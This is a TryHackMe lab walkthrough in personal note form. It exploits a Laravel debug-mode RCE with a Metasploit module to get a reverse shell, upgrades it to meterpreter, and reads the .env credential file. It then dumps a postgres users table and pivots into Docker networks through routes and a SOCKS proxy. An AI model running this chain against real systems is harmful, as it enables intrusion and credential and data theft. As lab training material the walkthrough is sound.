---
# System prepended metadata

title: Pivoting
tags: [metasploit, tryhackme, pivoting]

---

# Pivoting


###### tags: `tryhackme` `metasploit` `pivoting`

[TOC]


---


https://www.youtube.com/watch?v=mZqNP2fOLlk&t=2672s



## Nmap 



```
nmap 10.10.32.27 -sC -sV -F 
```

- -sC:default script
- -sV:detect service
- -F: scan default specific port 


![](https://i.imgur.com/vb9LMOD.png)



INFO

- apache 2.5.54

---

## Ping host 

```
ping 10.10.32.27
```

![](https://i.imgur.com/HDLoK4n.png)



INFO 

- ttl=64 ->Linux (host)
- ttl=128 -> windows(host)



---

## Open browser 

```
firefox 10.10.32.27
```

![](https://i.imgur.com/6MxulkF.png)


INFO 

- Laravel v8.26.1 (PHP v7.4.30) 


---

## Find Exploit 



(Local Database)
```
searchsploit laravel
```

![](https://i.imgur.com/2xbgIep.png)

---

```
searchsploit laravel 8
```


![](https://i.imgur.com/S7l9MHX.png)


- Laravel 8.4.2 debug mode - Remote code execution       | php/webapps/49424.py   //RCE


---

Metasploit (module exploit framework)

- auxiliary(scanning module)


```
msf6 > search laravel
```

![](https://i.imgur.com/fQicXO6.png)

```
info exploit/multi/php/ignition_laravel_debug_rce
```
or
```
info 1
```


---

Using the module 

```
use 1
```

or 

```
use exploit/multi/php/ignition_laravel_debug_rce
```

![](https://i.imgur.com/Nx58zLf.png)

```
msf6 exploit(multi/php/ignition_laravel_debug_rce) > set RHOSTS 10.10.32.27
```

---

Automatically check 


```
msf6 exploit(multi/php/ignition_laravel_debug_rce) > check
```

![](https://i.imgur.com/K1Ak2wy.png)

---

```
msf6 exploit(multi/php/ignition_laravel_debug_rce) > show targets 
```

![](https://i.imgur.com/CE85uWa.png)





---

```
show options
```

![](https://i.imgur.com/0d03Hc6.png)

---

```
msf6 exploit(multi/php/ignition_laravel_debug_rce) > set LHOST eth0
```

- eth0 (Locatl network interface 

Super hacker Www


```
exploit 
```

![](https://i.imgur.com/DY5YM4K.png)

---


```
id
```

![](https://i.imgur.com/vFoFflq.png)


![](https://i.imgur.com/dCpZyZd.png)

- user:www-data


We're in !!!!!!! (awesome fantastic
 
---

## Upgrade Our Reverse Shell ()


```
background
```

Let current reverse shell run in the background 


---

show our current sessions 

```
sessions
```

---
upgrade to supper shell(meterpreter)

```
sessions -u 1
```
![](https://i.imgur.com/cSPQE3z.png)

![](https://i.imgur.com/UNliCWQ.png)

---

## Interate our supper shell 

```
sessions -i 2
```

![](https://i.imgur.com/Dvpo8Te.png)


```
help
```
![](https://i.imgur.com/cyDYX8K.png)

![](https://i.imgur.com/xYH0Rlz.png)

![](https://i.imgur.com/FX518nL.png)

Recommend: Take some time to familiar with meterpreter BY cyber security expert (It's very powerful and funny)

```
getuid   //whoami
```
![](https://i.imgur.com/Ke6HSmh.png)

```
getpid   //current proccess
```
![](https://i.imgur.com/SC4bkWL.png)

```
ps         //aux
```
![](https://i.imgur.com/pgpc0Vk.png)


---

In side docker container 



we need to find DB credential to access DB


```
shell
```

```
env
```

```
cd /var/www
```


![](https://i.imgur.com/nt4EOR1.png)


```
cat .env
```

![](https://i.imgur.com/UxyNM9B.png)



DNS Resolve 

```
resolve webservice_database
```

![](https://i.imgur.com/gxGu38P.png)



save session 2
```
background 
```

## Router 


Adding router to session 2 (metepreter)


```
route add 172.28.101.51/32 2
```

```
route add 172.17.0.1/32 2
```

![](https://i.imgur.com/BChOBiS.png)


---

Try to access DB


```
search postgre
```

id 16 'schema' ->dump DB information


![](https://i.imgur.com/IUETk53.png)


Result 

![](https://i.imgur.com/ZyzALwD.png)


Try to execute sql query 

![](https://i.imgur.com/vxKmQ83.png)

```
use 11
```

```
info
```


```
set RHOST 172.28.101.51
```

```
set DATABASE postgres
```


```
set SQL "select * from users"
```


```
exploit 
```

![](https://i.imgur.com/FzZizxA.png)

---

## Socks proxy 

```
search socks
```

![](https://i.imgur.com/4Zw9LHM.png)


```
use 0
```

```
exploit
```

```
jobs    //jobs -l (kill the proccess )
```




Local host 


```
curl --proxy socks5://127.0.0.1:1080 http://172.17.0.1
```

![](https://i.imgur.com/kY9uv7A.png)


```
proxychains -h
```


```
vim /etc/proxychains4.conf 
```

socks5 127.0.0.1 1080

```
proxychains curl http://172.17.0.1
```

---

Scanning

```
proxychains nmap -sV -sT -F -Pn 172.17.0.1
```
![](https://i.imgur.com/VCLggwf.png)


